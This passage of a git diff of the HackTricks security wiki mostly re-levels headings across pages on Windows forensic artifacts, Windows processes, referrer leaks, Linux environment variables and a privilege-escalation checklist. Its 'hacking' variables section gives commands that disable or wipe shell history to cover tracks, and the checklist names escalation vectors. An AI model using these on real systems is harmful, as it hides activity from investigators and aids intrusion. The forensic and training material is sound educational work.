recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. @@ -126,11 +125,11 @@ You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman (_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) -#### Shellbags +## Shellbags [**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) -### Use of Windows USBs +# Use of Windows USBs It's possible to identify that a USB device was used thanks to the creation of: @@ -144,23 +143,23 @@ Note that some LNK file instead of pointing to the original path, points to the The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. -#### Registry Information +## Registry Information [Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contains interesting information about USB connected devices. -#### setupapi +## setupapi Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). ![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (4).png>) -#### USB Detective +## USB Detective [**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. ![](<../../../.gitbook/assets/image (483).png>) -#### Plug and Play Cleanup +## Plug and Play Cleanup The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear (based upon reports online) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**.\ The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, and its content is displayed below: @@ -170,7 +169,7 @@ The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\W The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during.\ **This section was copied from** [**here**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.** -### Emails +# Emails The emails contains **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: @@ -181,7 +180,7 @@ Also, inside the `References` and `In-Reply-To` headers you can find the ID of t ![](<../../../.gitbook/assets/image (484).png>) -#### Windows Mail App +## Windows Mail App This application saves the emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with `.dat` extension. @@ -189,7 +188,7 @@ The **metadata** of the emails and the **contacts** can be found inside the **ED **Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails. -#### Microsoft Outlook +## Microsoft Outlook When Exchange servers or Outlook clients are used there are going to be some MAPI headers: @@ -209,31 +208,31 @@ You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nuc ![](<../../../.gitbook/assets/image (485).png>) -#### Outlook OST +## Outlook OST When Microsoft Outlook is configured **using** **IMAP** or using an **Exchange** server, it generates a **OST** file that stores almost the same info as the PST file. It keeps the file synchronized with the server for the l**ast 12 months**, with a **max file-size of 50GB** and in the **same folder as the PST** file is saved. You can inspect this file using [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -#### Recovering Attachments +## Recovering Attachments You may be able to find them in the folder: * `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 * `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ -#### Thunderbird MBOX +## Thunderbird MBOX **Thunderbird** stores the information in **MBOX** **files** in the folder `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` -### Thumbnails +# Thumbnails When a user access a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted.\ in winXP and WIn8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via an UNC path (\IP\folder...). It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io). -#### Thumbcache +## Thumbcache Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location, and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as a number of files with the label **thumbcache\_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. @@ -244,7 +243,7 @@ Beginning with Windows Vista, **thumbnail previews are stored in a centralized l You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io). -### Windows Registry +# Windows Registry The Windows Registry Contains a lot of **information** about the **system and the actions of the users**. @@ -260,7 +259,7 @@ The files containing the registry are located in: From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**.\ Also from these versions, the registry file **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** is created saving information about program executions. -#### Tools +## Tools Some tools are useful to analyzed the registry files: @@ -269,28 +268,28 @@ Some tools are useful to analyzed the registry files: * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. -#### Recovering Deleted Element +## Recovering Deleted Element When a key is deleted it's marked as such but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. -#### Last Write Time +## Last Write Time Each Key-Value contains a **timestamp** indicating the last time it was modified. -#### SAM +## SAM The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system.\ In `SAM\Domains\Account\Users` you can obtain the username, the RID, last logon, last failed logon, login counter, password policy and when the account was created. In order to get the **hashes** you also **need** the file/hive **SYSTEM**. -#### Interesting entries in the Windows Registry +## Interesting entries in the Windows Registry {% content-ref url="interesting-windows-registry-keys.md" %} [interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) {% endcontent-ref %} -### Programs Executed +# Programs Executed -#### Basic Windows Processes +## Basic Windows Processes in the following page you can learn about the basic Windows processes to detect suspicious behaviours: @@ -298,15 +297,15 @@ in the following page you can learn about the basic Windows processes to detect [windows-processes.md](windows-processes.md) {% endcontent-ref %} -#### Windows RecentAPPs +## Windows RecentAPPs Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. -#### BAM +## BAM You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). -#### Windows Prefetch +## Windows Prefetch Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed in less time. @@ -326,7 +325,7 @@ To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/E ![](<../../../.gitbook/assets/image (487).png>) -#### Superprefetch +## Superprefetch **Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. @@ -335,7 +334,7 @@ In these databases you can find the **name** of the **program**, **number** of * You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). -#### SRUM +## SRUM **System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data en an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. @@ -357,7 +356,7 @@ You can obtain the date from this file using the tool [**srum\_dump**](https://g .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` -#### AppCompatCache (ShimCache) +## AppCompatCache (ShimCache) **Shimcache**, also known as **AppCompatCache**, is a component of the **Application Compatibility Database**, which was created by **Microsoft** and used by the operating system to identify application compatibility issues. @@ -381,7 +380,7 @@ You can use the tool [**AppCompatCacheParser**](https://github.com/EricZimmerman ![](<../../../.gitbook/assets/image (488).png>) -#### Amcache +## Amcache The **Amcache.hve** file is a registry file that stores the information of executed applications. It's located in `C:\Windows\AppCompat\Programas\Amcache.hve` @@ -395,21 +394,21 @@ AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student The most interesting CVS file generated if the `Amcache_Unassociated file entries`. -#### RecentFileCache +## RecentFileCache This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. -#### Scheduled tasks +## Scheduled tasks You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. -#### Services +## Services You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. -#### **Windows Store** +## **Windows Store** The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. @@ -419,7 +418,7 @@ Inside the Application table of this database it's possible to find the columns: It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -### Windows Events +# Windows Events Information that appears inside Windows events: @@ -437,7 +436,7 @@ The location of the event files can be found in the SYSTEM registry in **`HKLM\S They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -#### Security +## Security These event register the accesses and give information about the security configuration.\ they can be found in `C:\Windows\System32\winevt\Security.evtx`. @@ -476,22 +475,22 @@ The Status and sub status information of the event s can indicate more details a ![](<../../../.gitbook/assets/image (455).png>) -#### Recovering Windows Events +## Recovering Windows Events It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probabilities of recovering the Windows Events. In case they were deleted, a tool that can be useful to try to recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. -### Identifying Common Attacks with Windows Events +# Identifying Common Attacks with Windows Events -#### Brute-Force Attack +## Brute-Force Attack A brute-force attack can be easily identifiable because **several EventIDs 4625 will appear**. **If** the attack was **successful**, after the EventIDs 4625, **an EventID 4624 will appear**. -#### Time Change +## Time Change This is awful for the forensics team as all the timestamps will be modified.\ This event is recorded by the EventID 4616 inside the Security Event log. -#### USB devices +## USB devices The following System EventIDs are useful: @@ -500,11 +499,11 @@ The following System EventIDs are useful: The EventID 112 from DeviceSetupManager contains the timestamp of each USB device inserted. -#### Turn Off / Turn On +## Turn Off / Turn On The ID 6005 of the "Event Log" service indicates the PC was turned On. The ID 6006 indicates it was turned Off. -#### Logs Deletion +## Logs Deletion The Security EventID 1102 indicates the logs were deleted. diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 768cdcff..fc59160c 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -16,39 +16,38 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Interesting Windows Registry Keys -### **Windows system info** +# **Windows system info** -#### Version +## Version * **`Software\Microsoft\Windows NT\CurrentVersion`**: Windows version, Service Pack, Installation time and the registered owner -#### Hostname +## Hostname * **`System\ControlSet001\Control\ComputerName\ComputerName`**: Hostname -#### Timezone +## Timezone * **`System\ControlSet001\Control\TimeZoneInformation`**: TimeZone -#### Last Access Time +## Last Access Time * **`System\ControlSet001\Control\Filesystem`**: Last time access (by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled). * To enable it: `fsutil behavior set disablelastaccess 0` -#### Shutdown Time +## Shutdown Time * `System\ControlSet001\Control\Windows`: Shutdown time * `System\ControlSet001\Control\Watchdog\Display`: Shutdown count (only XP) -#### Network Information +## Network Information * **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Network interfaces * **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: First and last time a network connection was performed and connections through VPN * **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (for XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type (0x47-wireless, 0x06-cable, 0x17-3G) an category (0-Public, 1-Private/Home, 2-Domain/Work) and last connections -#### Shared Folders +## Shared Folders * **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache @@ -58,7 +57,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * CSCFlag=2048: This setting is only on Win 7 & 8 and is the default setting until you disable “Simple file sharing” or use the “advanced” sharing option. It also appears to be the default setting for the “Homegroup” * CSCFlag=768 -> This setting was only seen on shared Print devices. -#### AutoStart programs +## AutoStart programs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -66,15 +65,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` * `Software\Microsoft\Windows\CurrentVersion\Run` -#### Explorer Searches +## Explorer Searches * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: What the user searched for using explorer/helper. The item with `MRU=0` is the last one. -#### Typed Paths +## Typed Paths * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer (only W10) -#### Recent Docs +## Recent Docs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Recent documents opened by the user * `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`:Recent office docs. Versions: @@ -86,7 +85,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * 15.0 office 2013 * 16.0 Office 2016 -#### MRUs +## MRUs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU` @@ -98,12 +97,12 @@ Indicates the path from where the executable was executed Indicates files opened inside an opened Window -#### Last Run Commands +## Last Run Commands * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR` -#### User AssistKey +## User AssistKey * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` @@ -114,7 +113,7 @@ The GUID is the id of the application. Data saved: * GUI application name (this contains the abs path and more information) * Focus time and Focus name -### Shellbags +# Shellbags When you open a directory Windows saves data about how to visualize the directory in the registry. These entries are known as Shellbags. @@ -137,9 +136,9 @@ Note 2 things from the following image: ![](<../../../.gitbook/assets/image (475).png>) -### USB information +# USB information -#### Device Info +## Device Info The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC.\ Within this registry it's possible to find: @@ -161,19 +160,19 @@ With the previous information the registry `SOFTWARE\Microsoft\Windows Portable ![](<../../../.gitbook/assets/image (480).png>) -#### User that used the device +## User that used the device Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users** searching for the GUID until you find it in one of them (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`) ![](<../../../.gitbook/assets/image (481).png>) -#### Last mounted +## Last mounted Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Thoshiba one (using the tool Registry Explorer). ![](<../../../.gitbook/assets/image (483) (1) (1).png>) -#### Volume Serial Number +## Volume Serial Number In `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` you can find the volume serial number. **Knowing the volume name and the volume serial number you can correlate the information** from LNK files that uses that information. @@ -183,7 +182,7 @@ Note that when a USB device is formatted: * A new volume serial number is created * The physical serial number is kept -#### Timestamps +## Timestamps In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\` you can find the first and last time the device was connected: diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index c8ed7924..815ad67b 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -17,22 +17,20 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Windows Processes - -### smss.exe +## smss.exe It's called **Session Manager**.\ Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree.\ Also, more sessions apart from 0 and 1 may mean that RDP sessions are occurring. -### csrss.exe +## csrss.exe Is the **Client/Server Run Subsystem Process**.\ It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps** **drive** **letters**, create **temp** **files** and handles the **shutdown** **process**.\ There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree).\ Another one is created **per new Session**. -### winlogon.exe +## winlogon.exe This is Windows Logon Process.\ It's responsible for user **logon**/**logoffs**.\ @@ -40,24 +38,24 @@ It launches **logonui.exe** to ask for username and password and then calls **ls Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**.\ Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. -### wininit.exe +## wininit.exe This is the **Windows Initialization Process**. It launches **services.exe**, **lsass.exe** and **lsm.exe** in Session 0.\ There should only be 1 process. -### userinit.exe +## userinit.exe Load the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**.\ It launches **explorer.exe**. -### lsm.exe +## lsm.exe This is the **Local Session Manager**.\ It works with smss.exe to manipulate use sessions: Logon/logoff, shell start, lock/unlock desktop...\ After W7 lsm.exe was transformed into a service (lsm.dll).\ There should only be 1 process in W7 and from them a service running the DLL. -### services.exe +## services.exe This is the **Service Control Manager**.\ It **loads** **services** configured as **auto-start** and **drivers**. @@ -69,7 +67,7 @@ Note how **some** **services** are going to be running in a **process of their o There should only be 1 process. -### lsass.exe +## lsass.exe This the **Local Security Authority Subsystem**.\ It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`.\ @@ -77,7 +75,7 @@ It writes to the **Security** **event** **log**.\ There should only be 1 process.\ Keep in mind that this process is highly attacked to dump passwords. -### svchost.exe +## svchost.exe This is the **Generic Service Host Process**.\ It hosts multiple DLL services in one shared process.\ @@ -89,18 +87,18 @@ If the **flag `-s`** is also used with an argument, then svchost is asked to **o There will be several process of `svchost.exe`. If any of them is **not using the `-k` flag**, then thats very suspicious. If you find that **services.exe is not the parent**, thats also very suspicious. -### taskhost.exe +## taskhost.exe This process act as host for processes run from DLLs. It loads the services that are run from DLLs.\ In W8 is called taskhostex.exe and in W10 taskhostw.exe. -### explorer.exe +## explorer.exe This is the process responsible for the **user's desktop** and launching files via file extensions.\ **Only 1** process should be spawned **per logged on user.**\ This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. -## Catching Malicious Processes +# Catching Malicious Processes * Is it running from the expected path? (No Windows binaries run from temp location) * Is it communicating with weird IPs? diff --git a/getting-started-in-hacking.md b/getting-started-in-hacking.md index 6cfe3dcf..6cfd0906 100644 --- a/getting-started-in-hacking.md +++ b/getting-started-in-hacking.md @@ -17,45 +17,43 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Getting Started in Hacking +# Learning by Practice -## Learning by Practice - -### [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue) +## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue) Hackthebox has online machines to hack, it's the best place to learn by practicing. If you are new I would recommend you learning by doing retired machines following Ippsec videos. HackTheBox academy is the new platform to learn hacking in a more guided way, also a great resource if you want to practice hacking some specific technology! -### [https://tryhackme.com/](https://tryhackme.com) +## [https://tryhackme.com/](https://tryhackme.com) Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines. -### [https://www.root-me.org/](https://www.root-me.org) +## [https://www.root-me.org/](https://www.root-me.org) Rootme is another page for online hosted virtual machines to hack. -### [https://www.vulnhub.com/](https://www.vulnhub.com) +## [https://www.vulnhub.com/](https://www.vulnhub.com) Vulnhub has machines to download and then to hack -### [https://hack.me/](https://hack.me) +## [https://hack.me/](https://hack.me) This site seems to be a community platform -### [https://www.hacker101.com/](https://www.hacker101.com) +## [https://www.hacker101.com/](https://www.hacker101.com) free site with videos and CTFs -### [https://crackmes.one/](https://crackmes.one) +## [https://crackmes.one/](https://crackmes.one) This site has a lot of binaries for forensic learning. -### [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/) +## [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/) -### [https://attackdefense.com/](https://attackdefense.com) +## [https://attackdefense.com/](https://attackdefense.com) -### [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard) +## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard) This website has a lot of web exploitation labs diff --git a/interesting-http.md b/interesting-http.md index adc9956b..687e0eae 100644 --- a/interesting-http.md +++ b/interesting-http.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Interesting HTTP - -## Referrer headers and policy +# Referrer headers and policy Referrer is the header used by browsers to indicate which was the previous page visited. -### Sensitive information leaked +## Sensitive information leaked If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request. -### Mitigation +## Mitigation You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications: @@ -42,7 +40,7 @@ Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -### Counter-Mitigation +## Counter-Mitigation You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection): @@ -51,7 +49,7 @@ You can override this rule using an HTML meta tag (the attacker needs to exploit ``` -### Defense +## Defense Never put any sensitive data inside GET parameters or paths in the URL. diff --git a/linux-unix/linux-environment-variables.md b/linux-unix/linux-environment-variables.md index 4b0c94ed..70224cd8 100644 --- a/linux-unix/linux-environment-variables.md +++ b/linux-unix/linux-environment-variables.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Linux Environment Variables - -## Global variables +# Global variables The global variables **will be** inherited by **child processes**. @@ -38,7 +36,7 @@ You can **remove** a variable doing: unset MYGLOBAL ``` -## Local variables +# Local variables The **local variables** can only be **accessed** by the **current shell/script**. @@ -48,7 +46,7 @@ echo $LOCAL unset LOCAL ``` -## List current variables +# List current variables ```bash set @@ -58,9 +56,9 @@ cat /proc/$$/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ ``` -## Persistent Environment variables +# Persistent Environment variables -#### **Files that affect behavior of every user:** +### **Files that affect behavior of every user:** * _**/etc/bash.bashrc**_: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed. * _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in. @@ -74,14 +72,14 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ export $TEST ``` -#### **Files that affect behavior for only a specific user:** +### **Files that affect behavior for only a specific user:** * _**\~/.bashrc**_: This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory. * _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in. **Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) -## Common variables +# Common variables From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) @@ -103,9 +101,9 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **TZ** – your time zone. * **USER** – your current username. -## Interesting variables for hacking +# Interesting variables for hacking -### **HISTFILESIZE** +## **HISTFILESIZE** Change the **value of this variable to 0**, so when you **end your session** the **history file** (\~/.bash\_history) **will be deleted**. @@ -113,7 +111,7 @@ Change the **value of this variable to 0**, so when you **end your session** the export HISTFILESIZE=0 ``` -### **HISTSIZE** +## **HISTSIZE** Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** (\~/.bash\_history). @@ -121,7 +119,7 @@ Change the **value of this variable to 0**, so when you **end your session** any export HISTSIZE=0 ``` -### http\_proxy +## http\_proxy The processes will use the **proxy** declared here to connect to internet through **http**. @@ -129,7 +127,7 @@ The processes will use the **proxy** declared here to connect to internet throug export http_proxy="http://10.10.10.10:8080" ``` -### https\_proxy +## https\_proxy The processes will use the **proxy** declared here to connect to internet through **https**. @@ -137,7 +135,7 @@ The processes will use the **proxy** declared here to connect to internet throug export https_proxy="http://10.10.10.10:8080" ``` -### PS1 +## PS1 Change how your prompt looks. diff --git a/linux-unix/linux-privilege-escalation-checklist.md b/linux-unix/linux-privilege-escalation-checklist.md index 38fd00a6..382912f3 100644 --- a/linux-unix/linux-privilege-escalation-checklist.md +++ b/linux-unix/linux-privilege-escalation-checklist.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Checklist - Linux Privilege Escalation - {% hint style="warning" %} **Support HackTricks and get benefits!** @@ -34,9 +32,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +## **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -### [System Information](privilege-escalation/#system-information) +## [System Information](privilege-escalation/#system-information) * [ ] Get **OS information** * [ ] Check the [**PATH**](privilege-escalation/#path), any **writable folder**? @@ -47,18 +45,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] More system enum ([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)) * [ ] [Enumerate more defenses](privilege-escalation/#enumerate-possible-defenses) -### [Drives](privilege-escalation/#drives) +## [Drives](privilege-escalation/#drives) * [ ] **List mounted** drives * [ ] **Any unmounted drive?** * [ ] **Any creds in fstab?** -### [**Installed Software**](privilege-escalation/#installed-software) +## [**Installed Software**](privilege-escalation/#installed-software) * [ ] **Check for**[ **useful software**](privilege-escalation/#useful-software) **installed** * [ ] **Check for** [**vulnerable software**](privilege-escalation/#vulnerable-software-installed) **installed** -### [Processes](privilege-escalation/#processes) +## [Processes](privilege-escalation/#processes) * [ ] Is any **unknown software running**? * [ ] Is any software with **more privileges that it should have running**? @@ -67,40 +65,40 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] **Monitor processes** and check if any interesting process is running frequently * [ ] Can you **read** some interesting **process memory** (where passwords could be saved)? -### [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) +## [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) * [ ] Is the [**PATH** ](privilege-escalation/#cron-path)being modified by some cron and you can **write** in it? * [ ] Any [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? * [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed** or is inside **modifiable folder**? * [ ] Have you detected that some **script** could be being [**executed** very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) -### [Services](privilege-escalation/#services) +## [Services](privilege-escalation/#services) * [ ] Any **writable .service** file? * [ ] Any **writable binary** executed by a **service**? * [ ] Any **writable folder in systemd PATH**? -### [Timers](privilege-escalation/#timers) +## [Timers](privilege-escalation/#timers) * [ ] Any **writable timer**? -### [Sockets](privilege-escalation/#sockets) +## [Sockets](privilege-escalation/#sockets) * [ ] Any 